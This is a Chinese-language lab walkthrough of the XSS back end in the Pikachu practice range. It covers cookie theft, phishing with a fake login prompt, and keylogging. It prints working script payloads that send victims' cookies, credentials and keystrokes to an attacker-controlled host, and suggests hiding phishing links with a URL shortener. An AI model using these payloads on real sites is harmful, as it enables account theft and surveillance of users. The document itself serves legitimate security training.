写在前面的重要提示:
Attention:技术没有好坏之分,关键在于使用技术的人或组织。网络安全技术是一把双刃剑 – 作为网络安全人,虽然无法控制头上的帽子是否会变绿,但能控制不让它变黑;无论我们在物质上面对多大的诱惑或是面对多么艰难的窘境,精神上一定不要放弃最初成为顶级白帽的理想。一路走来,我们不一定能用自己所掌握的技术促进网络安全事业的进步与发展,但一定不要且不能站在网络安全事业发展的对立面。
Warning:本文仅限于技术交流,禁止一切利用本文涉及的技术进行违法犯罪活动。如有违者,后果自负。且笔者建议各位网络安全从业者,熟读且背诵我国网络安全相关法律法规,这也是对自己职业生涯负责的行为。
一:pikachu管理工具下的XSS后台简介
pikachu管理工具下的XSS后台是一个通过Cookie窃取和利用、钓鱼攻击、键盘行为记录这三个实战型实验来帮助学习者理解XSS漏洞的原理和危害的一个平台。旨在帮助学习者在实战中深入理解理论,从而可以更好的防御XSS漏洞。
Xss后台登录页面:
Xss后台主页面:
二:XSS后台的启动
方式一:直接进入pikachu靶场的管理工具模块 —> 进入XSS后台。(第一次使用需要先创建数据库)
方式二:XSS后台在pikachu靶场文件中是一个独立的文件:pkxss。若不想部署整个pikachu靶场,可以把pkxss文件单独部署在攻击主机中,单独搭建XSS后台。(如:笔者部署在虚拟机的PHPstudy中 – 部署方式和部署靶场一致,不了解的读者可以看笔者关于靶场部署的文章)
三:实战型实验演示
- Cookie窃取
GET型:
原理图:
第一步:修改配置文件
1)进入pkxss目录找到xcookie,打开cookie.php文件修改配置。(E:\phpstudy_pro\WWW\Test\pkxss\xcookie\cookie.php)。
修改框中的URL:这个URL地址表示重定向到一个可信任的IP地址,换句话说就是被攻击者促发攻击代码受到攻击时页面跳转(刷新)至这个URL地址,这样做的目的是在攻击时造成的网页跳转可以减少甚至消除被攻击者的怀疑。(笔者将pikachu部署在本地的PHPstudy中:E:\phpstudy_pro\WWW\Test\pikachu-master,这个RUL的意思是:在受到攻击时,页面跳转到pikachu靶场的主页)。
第二步:构造攻击代码
1)构造一段获取cookie的攻击代码,并将代码通过XSS漏洞注入到被攻击主机可能浏览并存在XSS漏洞的站点,等待攻击成功。
这里为了帮助读者们理解,使用pikachu靶场的XSS存储型漏洞进行演示。
- 查看XSS平台下Cookie获取模块是否由历史数据。
(2)构造攻击代码:<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>
(注意:攻击代码中http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php页面,代表当用户触发到攻击代码时,攻击代码运行收集到用户的Cookie,并将Cookie发送给这个URL页面。当然,这个URL是受攻击者控制的)
第三步:将代码通过输入框或网页URL注入到页面中
注意:由于注入框设置了字符输入限制,需要先打开代码调式工具(右击—>检查),将字符输入限制更改
第四步:查看记录
POST型:
原理:
POST型和GET型基本原理大差不差,主要的不同在于参数的提交方式是表单提交,不能通过URL进行参数提交,因此攻击者无法通过URL的方式将恶意代码嵌入。所以,攻击者需要构造一个Form表单,当用户点击攻击者的表单连接,用户就替攻击者发送一个提交请求,之后的攻击步骤就和GET型一致了。
第一步:构造Form表单
1)修改配置
修改pkxss目录下的文件: pkxss/xcookie/post.html
- 将用户服务器IP地址和文件路径填入白框:如:http://pikachu/pkxss/xcookie/pkxss_cookie_result.php
- 将攻击者所控制的机器IP和文件路径填入黄框:http://pikachu/pkxss/xcookie/cookie.php
第二步:登录页面,在攻击框内输入攻击代码(步骤和GET型一致):<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>
第三步:查看攻击结果:
- 钓鱼攻击
钓鱼攻击的思路:攻击者向用户端发送一个经过处理的链接请求,用户点击链接后会给攻击者提前搭建好的后台发出一个请求,后台收到请求后会返回一个身份信息验证的Basic头部给用户端,若用户安全意识不够,输入了敏感信息:用户名和密码。这些信息就会被发送到攻击者控制的XSS后台。
第一步:配置文件
配置pkxss/xfish目录的fish.php文件:将图片红框中的信息配置为攻击者所控制的获取被攻击者信息的文件的后台地址:如:http://pikachu/pkxss/xfish/xfish.php(笔者本地pikachu XSS后台管理平台地址)
第二步:构造钓鱼攻击链接
注意:钓鱼的后台有个接口(xfish.php)获取远程的数据,通过get方式去获取账号密码存到库里。文件地址:pikachu/pkxss/xfish/xfish.php
构造一个可以访问攻击者所控制的后台并且能返回Basic认证的链接,也可以是a标签、img标签、script标签等。
注意:为了让构造的钓鱼链接不让被攻击者发现,可以使用相应的链接处理工具对链接进行处理。
链接处理平台:http://tools.jb51.net/password/dwzcreate
如:
链接1: http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php
平台处理之后:http://mrw.so/6oy3Hb
链接2:<img src="http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php"></img>
链接3:<script src="http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php"></script>
第三步:使用pikachu靶场测试
1)将构造的钓鱼链接嵌入pikachu靶场,点击提交,弹出输入框。
2)输入用户名:北冥同学;密码:123456。点击登录。
第四步:查看后台结果
- 获取键盘记录
获取键盘记录攻击原理:利用XSS漏洞将攻击代码注入到页面,当被攻击者访问该页面,其在该页面的任何操作将被记录,同时攻击代码将把记录发送至攻击者所控制的后台。
第一步:修改配置
1)将pikachu靶场文件目录下的pkxss/ rkeypress/rk.js。如图中红框中内容替换为攻击者所控制的获取被攻击者键盘记录的文件的后台地址。如:http://pikachu/pkxss/rkeypress/rkserver.php
2)修改rkserver.php文件(路径:pkxss/rkeypress/rkserver.php)。
将是否允许跨域访问设置为:所有。【关于浏览器跨域访问的知识分析,可查看笔者博文: 】
第二步:构造攻击代码
<script src= "http://xxx.xxx.xxx/Pikachu-master/pkxss/rkeypress/rk.js"></script>
第三步:利用pikachu靶场验证
1.将攻击代码注入存在XSS漏洞的页面,等待被攻击者访问该页面。
2.被攻击用户访问该页面,并添加评论:北冥同学,触发攻击。
3.进入XSS后台查看被攻击键盘记录。